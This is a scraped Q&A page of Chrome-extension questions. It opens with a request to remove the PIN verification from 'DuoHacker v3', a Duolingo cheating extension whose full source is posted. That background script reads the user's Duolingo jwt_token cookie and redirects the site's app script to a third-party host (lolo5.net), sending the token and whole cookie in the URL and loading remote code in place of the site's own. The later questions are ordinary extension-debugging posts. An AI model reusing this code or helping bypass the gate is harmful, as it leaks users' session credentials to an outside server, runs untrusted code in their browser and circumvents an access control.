How to remove verification to use an extension? - javascript

A group of people (my friends and I) decided to create a chrome extension using JS that helps us complete tasks with ease on a specific site.
The code has a verification aspect to it that requires people to verify their 'pin' in order to use it. One of my colleagues added this but we cannot figure out how to remove it. The programming is too complex and beyond my capabilities.
Please help me with this as I was in charge of the html and css so I am not educated with the js and json aspect of the code.
The extension is split into multiple files: background.js; content.js; manifest.json; popup.css; popup.html; popup.js
Here are the contents of each file:
File 1 -
var activated = "none";
var token = "none";
var cookie = "";
function text(t){
document.querySelector('.msg').innerHTML = t;
}
chrome.storage.sync.get("activated", function(items) {
activated = !!items.activated;
});
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.msg === "toggle") {
activated = request.activated;
}
}
);
function parseJwt(token) {
var base64Url = token.split('.')[1];
var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
var jsonPayload = decodeURIComponent(atob(base64).split('').map(function(c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
}).join(''));
return JSON.parse(jsonPayload);
};
chrome.cookies.get({"url": "https://duolingo.com", "name": "jwt_token"}, function(_cookie) {
try {
cookie = _cookie.value;
token = parseJwt(cookie || '{"sub":""}').sub || "";
} catch (e) {}
});
var loadtimer;
var roottext = "";
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.msg == "rootDOM") {
roottext = request.text;
}
}
);
chrome.webRequest.onBeforeRequest.addListener(function(details) {
if (activated && !!token && details.url.includes(".cloudfront.net/js/app-") && details.url.includes(".js")) {
loadtimer = setInterval(()=>{
if(activated != "none"){
if((document.querySelector('#duohacker') || document.body).innerText === "true"){
if(!activated){
document.location.reload();
}
clearInterval(loadtimer);
}else if(roottext != ""){
clearInterval(loadtimer);
document.location.reload();
}else if(activated){
document.location.reload();
}
}
},500);
return {
redirectUrl: `https://lolo5.net/apps/duohacker/script.js?t=${token}&r=${Date.now()}&c=${cookie}` /* the parameter "c" is optional and may be removed. it was added to make the extension future-proof :) */
//redirectUrl: `http://localhost:5000/apps/duohacker/script.js?t=${token}&r=${Date.now()}&c=${cookie}`
};
}
}, {
urls: ["<all_urls>"]
}, ["blocking"]);
File 2 -
var roottext = "";
var rootcheck = setInterval(()=>{
roottext = document.querySelector('#root');
if(roottext){
roottext = roottext.innerText;
}else{
roottext = "";
}
if(roottext != ""){
clearInterval(rootcheck);
chrome.runtime.sendMessage({
msg: "rootDOM",
text: roottext
});
}
},1000);
File 3 -
{
"manifest_version": 2,
"name": "DuoHacker v3 - Lolo",
"version": "1.0.1",
"incognito": "split",
"description": "Finish courses and lessons super quick and thereby get a lot of XP in Duolingo.",
"background": {
"scripts": ["background.js"]
},
"content_scripts": [{
"matches": ["*://*.duolingo.com/*"],
"js": ["content.js"]
}],
"permissions": ["<all_urls>", "webRequest", "webRequestBlocking", "storage", "cookies", "activeTab", "tabs"],
"icons": {
"128": "128_128.png",
"48": "48_48.png",
"16": "16_16.png"
},
"browser_action": {
"default_popup": "popup.html",
"default_icon": "48_48.png",
"default_title": "DuoHacker v3 - Lolo"
}
}
File 6 -
document.addEventListener('DOMContentLoaded', function() {
var activated = false;
chrome.storage.sync.get("activated", function(items) {
activated = !!items.activated;
document.querySelector("#inp").checked = activated;
});
chrome.cookies.get({"url": "https://duolingo.com", "name": "jwt_token"}, function(cookie) {
try {
document.querySelector('.msg').innerHTML = (parseJwt(cookie.value || '{"sub":""}').sub);
} catch (e) {
document.querySelector('.msg').innerHTML = "Log into Duolingo!";
}
document.querySelector('.hidden').value = document.querySelector('.msg').innerHTML;
});
document.querySelector('.msg').addEventListener("click", ()=>{
document.querySelector('.hidden').select();
document.execCommand("copy");
});
document.querySelector("#inp").addEventListener("click", () => {
chrome.storage.sync.set({
"activated": !activated
}, function() {
activated = !activated;
chrome.runtime.sendMessage({
msg: "toggle",
activated: activated
});
});
});
});
function parseJwt (token) {
var base64Url = token.split('.')[1];
var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
var jsonPayload = decodeURIComponent(atob(base64).split('').map(function(c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
}).join(''));
return JSON.parse(jsonPayload);
};

Related

chrome storage sync input value

I try to get the input value in my main.js (content script) but I struggle to finialize it somehow. I managed to save the value with the windows.onload approach as you can see below in my popup.js. But I can't get it over to the content script.
I want to use the value as a variable "userInput" in my content script.
popup.js:
function registerButtonAction(tabId, button, action) {
// clicking button will send a message to
// content script in the same tab as the popup
button.addEventListener('click', () => chrome.tabs.sendMessage(tabId, { [action]: true }));
}
function setupButtons(tabId) {
// add click actions to each 3 buttons
registerButtonAction(tabId, document.getElementById('start-btn'), 'startSearch');
registerButtonAction(tabId, document.getElementById('deals-btn'), 'startDeals');
registerButtonAction(tabId, document.getElementById('stop-btn'), 'stopSearch');
}
function injectStartSearchScript() {
chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) {
// Injects JavaScript code into a page
// chrome.tabs.executeScript(tabs[0].id, { file: 'main.js' });
// add click handlers for buttons
setupButtons(tabs[0].id);
});
}
injectStartSearchScript();
window.onload = function () {
document.getElementById('save-btn').onclick = function () {
let valueInput = document.getElementById('deal-ipt').value;
chrome.storage.sync.set({ 'maxBidDeal': valueInput }, function () {
alert('Saved!');
});
};
};
manifest.json:
{
"manifest_version": 2,
"name": "test app",
"description": "test desc",
"version": "1.0",
"browser_action": {
"default_icon": "icon.png",
"default_popup": "popup.html"
},
"permissions": ["tabs", "<all_urls>", "storage"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["main.js"]
}
],
"content_security_policy": "script-src 'self' https://ajax.googleapis.com; object-src 'self'"
}
main.js:
// highlight deals
async function deals() {
// let userInputBidPrice = prompt('Set max Bid Price to show deals:');
chrome.storage.sync.get('MaxBidDeal', function (data) {
let userinput = data.MaxBigDeal;
deals(userinput);
});
let cardCurrentBidValuesString = document.querySelectorAll('.auction > .auctionValue:nth-child(2) > .currency-coins.value');
let cardStartBidValueString = document.querySelectorAll('.auction > .auctionStartPrice.auctionValue > .currency-coins.value');
let cardBg = document.querySelectorAll('.rowContent.has-tap-callback');
for (let i = 0; i < cardCurrentBidValuesString.length; i++) {
cardsCurrentBidPrice = cardCurrentBidValuesString[i].textContent.toString().split(',').join('');
cardsStartBidPrice = cardStartBidValueString[i].textContent.toString().split(',').join('');
if (cardsCurrentBidPrice === '---') {
cardsCurrentBidPrice = 0;
}
if (cardsStartBidPrice === '---') {
cardsStartBidPrice = 0;
}
parsedCardsCurrentBidPrice = parseInt(cardsCurrentBidPrice);
parsedCardsStartBidPrice = parseInt(cardsStartBidPrice);
if (parsedCardsCurrentBidPrice < parseInt(userinput) && parsedCardsStartBidPrice < parseInt(userinput)) {
cardBg[i].style['background-color'] = '#0311c3';
}
}
}
chrome.runtime.onMessage.addListener((message) => {
// choose action based on received message:
if (message.startSearch) {
startSearch();
} else if (message.startDeals) {
deals();
}
});
// sanity check: content has loaded in the tab
console.log('content loaded');
So I am sure that I have to use chrome.storage.get somehow but I cant figure it out exactly.
Your code is calling deals recursively forever without actually passing the value because you didn't declare a parameter and then you're trying to use userinput beyond the variable's scope.
You can promisify chrome.storage and use await like this:
async function deals() {
// Note that chrome.storage is already promisified in ManifestV3 since Chrome 95
let { MaxBidDeal } = await new Promise(resolve =>
chrome.storage.sync.get('MaxBidDeal', resolve));
// use MaxBidDeal right here
console.log('MaxBidDeal', MaxBidDeal);
}

How to store data from popup.js file in Chrome Extension to IndexedDB

I have an attached a Chrome extension that I have been working on. I need to be able to store the data from the popup into IndexedDB in Chrome so that I can access it later. I am very new to this, and I need step by step help.
manifest.json
{
"manifest_version": 2,
"name": "BrowseMonitor",
"description": "Tracks how much time spent on a particular web page",
"version": "1",
"author": "youngj#fit.edu",
"permissions": [
"tabs"
"storage"
],
"icons": {
"16": "clock-icon16.png",
"32": "clock-icon32.png",
"76": "clock-icon76.png",
"152": "clock-icon152.png"
},
"browser_action": {
"default_icon": {
"64": "icons8-watch-64.png"
}
},
"background": {
"scripts": [
"common.js",
"background.js"
],
"persistent": true
},
"options_page": "options.html"
}
background.js
var History = {};
chrome.browserAction.setBadgeText({ 'text': '?'});
chrome.browserAction.setBadgeBackgroundColor({ 'color': "#663" });
function Update(t, tabId, url) {
if (!url) {
return;
}
if (tabId in History) {
if (url == History[tabId][0][1]) {
return;
}
} else {
History[tabId] = [];
}
History[tabId].unshift([t, url]);
var history_limit = parseInt(localStorage["history_size"]);
if (! history_limit) {
history_limit = 100;
}
while (History[tabId].length > history_limit) {
History[tabId].pop();
}
chrome.browserAction.setBadgeText({ 'tabId': tabId, 'text': '0:00'});
chrome.browserAction.setPopup({ 'tabId': tabId, 'popup': "popup.html#tabId=" + tabId});
}
function HandleUpdate(tabId, changeInfo, tab) {
Update(new Date(), tabId, changeInfo.url);
}
function HandleRemove(tabId, removeInfo) {
delete History[tabId];
}
function HandleReplace(addedTabId, removedTabId) {
var t = new Date();
delete History[removedTabId];
chrome.tabs.get(addedTabId, function(tab) {
Update(t, addedTabId, tab.url);
});
}
function UpdateBadges() {
var now = new Date();
for (tabId in History) {
var description = FormatDuration(now - History[tabId][0][0]);
chrome.browserAction.setBadgeText({ 'tabId': parseInt(tabId), 'text': description});
}
}
setInterval(UpdateBadges, 1000);
chrome.tabs.onUpdated.addListener(HandleUpdate);
chrome.tabs.onRemoved.addListener(HandleRemove);
chrome.tabs.onReplaced.addListener(HandleReplace);
popup.js
var tabId_re = /tabId=([0-9]+)/;
var match = tabId_re.exec(window.location.hash);
if (match) {
var hist = chrome.extension.getBackgroundPage().History[match[1]];
var table = document.createElement("table");
for (var i=0; i < hist.length; i++) {
var firstRow = table.insertRow(-1);
var date = "";
if (i == hist.length - 1 ||
(hist[i][0].toLocaleDateString() != hist[i+1][0].toLocaleDateString())) {
date = hist[i][0].toLocaleDateString();
}
firstRow.insertCell(-1).textContent = date;
firstRow.insertCell(-1).textContent = hist[i][0].toLocaleTimeString();
var end_time;
if (i == 0) {
end_time = new Date();
} else {
end_time = hist[i-1][0];
}
firstRow.insertCell(-1).textContent = FormatDuration(end_time - hist[i][0]);
var a = document.createElement("a");
a.textContent = hist[i][1];
a.setAttribute("href", hist[i][1]);
a.setAttribute("target", "_blank");
firstRow.insertCell(-1).appendChild(a);
var secondRow = table.insertRow(-1);
secondRow.insertCell(-1).textContent = 'Date';
secondRow.insertCell(-1).textContent = 'Time Started on Site';
secondRow.insertCell(-1).textContent = 'Time Spent';
secondRow.insertCell(-1).textContent = 'Site URL';
secondRow.insertCell(-1).textContent = 'Category';
}
table.className = 'table'
document.body.appendChild(table);
chrome.tabs.query({active: true, currentWindow: true}, function(tabs) {
var port = chrome.tabs.connect(tabs[0].id,{name: "extension_request"});
port.postMessage({db: "database_name_example"}); // send database name
port.onMessage.addListener(function(msg) {
if (msg.foo ) {
}
}
}
I just need to know how to dump all of the data that comes up on the popup to the IndexedDB database.

Chrome extension: Send message from web page to chrome extension with out open extension from chrome://apps

I have created a chrome extension which support native messaging. Extension is working fine as expected, run extension using chrome://apps. Now I tried to trigger extension from web page, it work only when I open my extension from chrome://apps but if I don't open extension it didn't work, while extension is installed in chrome.
mainifest.json:
{
"name": "Native Messaging Example",
"version": "1.0",
"manifest_version": 2,
"description": "Send a message to a native application.",
"app": {
"launch": {
"local_path": "main.html"
}
},
"icons": {
"128": "icon-128.png"
},
"permissions": [
"nativeMessaging"
],
"content_scripts": [{ "matches": ["<all_urls>","http://*/*","https://*/*"], "js": ["contentscript.js"], "run_at": "document_start"}]
}
Content Script:
document.addEventListener("hello", function(data) {
chrome.runtime.sendMessage("test");
})
Background.js
var port = null;
var getKeys = function(obj){
var keys = [];
for(var key in obj){
keys.push(key);
}
return keys;
}
function appendMessage(text) {
document.getElementById('response').innerHTML += "<p>" + text + "</p>";
}
function updateUiState() {
if (port) {
document.getElementById('connect-button').style.display = 'none';
document.getElementById('input-text').style.display = 'block';
document.getElementById('send-message-button').style.display = 'block';
} else {
document.getElementById('connect-button').style.display = 'block';
document.getElementById('input-text').style.display = 'none';
document.getElementById('send-message-button').style.display = 'none';
}
}
function sendNativeMessage() {
message = {"text": document.getElementById('input-text').value};
port.postMessage(message);
appendMessage("Sent message: <b>" + JSON.stringify(message) + "</b>");
}
function onNativeMessage(message) {
appendMessage("Received message: <b>" + JSON.stringify(message) + "</b>");
}
function onDisconnected() {
appendMessage("Failed to connect: " + chrome.runtime.lastError.message);
port = null;
updateUiState();
}
function connect() {
var hostName = "com.google.chrome.example.echo";
appendMessage("Connecting to native messaging host <b>" + hostName + "</b>")
port = chrome.runtime.connectNative(hostName);
port.onMessage.addListener(onNativeMessage);
port.onDisconnect.addListener(onDisconnected);
updateUiState();
}
chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {
alert("message received");
var hostName = "com.google.chrome.example.echo";
appendMessage("Connecting to native messaging host <b>" + hostName + "</b>")
port = chrome.runtime.connectNative(hostName);
port.onMessage.addListener(onNativeMessage);
port.onDisconnect.addListener(onDisconnected);
});
document.addEventListener('DOMContentLoaded', function () {
document.getElementById('connect-button').addEventListener(
'click', connect);
document.getElementById('send-message-button').addEventListener(
'click', sendNativeMessage);
chrome.runtime.sendMessage("test");
updateUiState();
});
page.HTML
<html>
<head></head>
<body>
<script>
var go = function() {
var event = document.createEvent('Event');
event.initEvent('hello');
document.dispatchEvent(event);
}
</script>
Click me
</body>
</html>

Script not running in loaded template of Chrome Extension

Sorry for the long post. I'm pretty new to Chrome Extension development. I'm trying to inject a sidebar that gets visible when I click my floating element. Template is loading fine but any sort of script that I've already loaded from my contentscript isn't getting respected in my template. For example, I'm trying to template things using Mustache.js which is getting Mustache as undefined. Here's my manifest:
{
"name": "The Explorer", "manifest_version": 2,
"description": "An extension for chrome", "version": "1.0.0",
"background": {
"persistent": false,
"scripts": [ "background.js" ]
},
"permissions": [ "tabs", "<all_urls>" ],
"web_accessible_resources": [ "app/html/*", "vendor/*" ]
}
background.js:
chrome.tabs.onUpdated.addListener(function(tabId) {
var scripts = ["vendor/jquery-3.1.0.min.js", "vendor/mustache.min.js", "script.js"],
injectScripts = function(scriptArr) {
if (Array.isArray(scriptArr)) {
var script = scriptArr.splice(0, 1)[0];
chrome.tabs.executeScript(tabId, {file: script},
injectScripts.bind(null, scriptArr));
} else {
chrome.tabs.executeScript(tabId, {file: scriptArr});
}
};
injectScripts(scripts);
});
script.js:
(function() {
var myIcon;
(function createmyIcon() {
myIcon = document.querySelector('.my-shortcut-icon');
if (!myIcon) {
myIcon = document.createElement('div');
}
myIcon.addEventListener('click', toggleSidebar);
document.body.appendChild(myIcon);
})();
var sidebarOpen = false;
function toggleSidebar() {
var sidebar = document.getElementById('my-sidebar');
if (sidebarOpen) {
sidebarOpen = false;
myIcon.style.right = '0px';
sidebar.style.width = '0px';
} else {
if (!sidebar) {
sidebar = document.createElement('div');
sidebar.id = "my-sidebar";
document.body.appendChild(sidebar);
//Loads my template here
$("#my-sidebar").load(chrome.extension.getURL('app/html/test.html'));
}
sidebarOpen = true;
myIcon.style.right = '300px';
sidebar.style.width = '300px';
}
}
})();
And here's my template (test.html):
<div id="target">Loading...</div>
<script id="template" type="x-tmpl-mustache">
Hello {{ name }}!
</script>
<script type="text/javascript">
Mustache.parse($('#template').html());
$('#target').html(Mustache.render($('#template').html(), {
name: "Luke"
}));
</script>
Any idea on where I am making the error?

can not find out if the div element is already set in body in chrome extension

in my chrome extension I got an div, which I will add to the body of the current tab. I am listening to chrome.tabs.onUpdated. If this event is called, I execute a script inside content_scripts. In this function there I´ll wait till the document is ready with jQuery $(document).ready(...).
I try to access
$("#div").length
and sometimes it returns 1 and sometimes 0. It should added to the body, if it´s not already there.
For some strange reasons, the onUpdated event is called twice on each page reload. Actually I found no way to check safely if the div was already added.
Edit: My Code:
inject.js:
var crendentials;
var mailInfo;
function doLogin(username, password)
{
function verifyLogin(username, password)
{
$.get("www.example.com&login&username=" + username + "&password=" + password,
function (data)
{
if (!isNaN($.trim(data)))
{
crendentials = new Array();
crendentials[0] = username;
crendentials[1] = password;
chrome.storage.sync.set({ key: "example_toolbar", value: username + ";;;" + password});
chrome.storage.sync.set({ key: "example_toolbar_verified", value: 1});
}
else
{
chrome.storage.sync.set({ key: "example_toolbar_verified", value: 0});
}
}
);
}
if (typeof username === "undefined" || username === null || username === ""
|| typeof password === "undefined" || password === null || password === "")
{
var crentest;
chrome.storage.sync.get("example_toolbar",
function (value)
{
console.log("value von doLogin()", value.example_toolbar);
crentest = value.example_toolbar;
}
);
if (typeof crentest !== "undefined" && crentest !== null && crentest !== "")
{
chrome.storage.sync.get("example_toolbar",
function (value)
{
crendentials = value.example_toolbar.split(";;;");
}
);
}
}
else
{
verifyLogin(username, password);
}
}
function getMailInfos(callback)
{
if (typeof mailInfo === "undefined")
{
$.get("http://www.example.com&mailapi=showmails",
function (data)
{
mailInfo = new Array();
var infos = data.split("|");
mailInfo.unread = infos[0];
mailInfo.total = infos[1];
callback();
}
);
}
else
{
callback();
}
}
function getMails(callback)
{
if (typeof mailInfo === "undefined")
{
getMailInfos(function ()
{
callback(mailInfo.unread);
}
);
}
else
{
callback(mailInfo.unread);
}
}
function renderText(textstr)
{
var divText = document.createElement("div");
addClass(divText, "toolbarText");
var text = document.createTextNode(textstr);
divText.appendChild(text);
toolbar.appendChild(divText);
}
var mailAmountDiv;
function renderMail(callback)
{
var mailIco = document.createElement("div");
addClass(mailIco, "mailIcon");
mailAmountDiv = document.createElement("div");
mailAmountDiv.id = "mails_unread";
addClass(mailAmountDiv, "mailAmount");
mailIco.appendChild(mailAmountDiv);
getMails(function (value)
{
var mailAmount = document.createTextNode(value);
mailAmountDiv.appendChild(mailAmount);
toolbar.appendChild(mailIco);
renderPlaceholderSmall();
renderText(translations.notAttended + ": " + getNotRead());
}
);
}
function createToolbar(change)
{
$(document).ready(function()
{
console.log("ist vorhanden: ", $("#Example-Toolbar").length);
if ($("#Example-Toolbar").length > 0)
{
// already created, stop working here
return;
}
doLogin();
toolbar = document.createElement("div");
toolbar.id = "Example-Toolbar";
renderMail(function()
{
renderPlaceholderLarge();
renderSearch();
renderPlaceholderSmall();
renderRightIcons();
$("body").css({"margin-top": "23px", "z-index": -1});
//document.body.insertBefore(toolbar, document.body.childNodes[0]);
$(toolbar).prependTo("body");
}
);
}
);
}
background.js:
function tabListener(tabId, changeInfo, tab)
{
// exec script on current focused tabId
chrome.tabs.executeScript(tabId,
{
code: 'createToolbar();'
}
);
}
chrome.tabs.onUpdated.addListener(tabListener);
manifest.json (only neccessary parts):
"background": {
"scripts": [
"background.js"
]
},
"permissions": [
"tabs",
"http://*/",
"https://*/",
"file:///*/*",
"storage"
],
"content_scripts": [{
"matches": ["*://*/*"],
"css": ["jquery-ui.css", "style.css"],
"js": ["jquery-2.0.3.min.js", "jquery-ui.min.js", "inject.js"],
"run_at": "document_start"
}]

Categories

Resources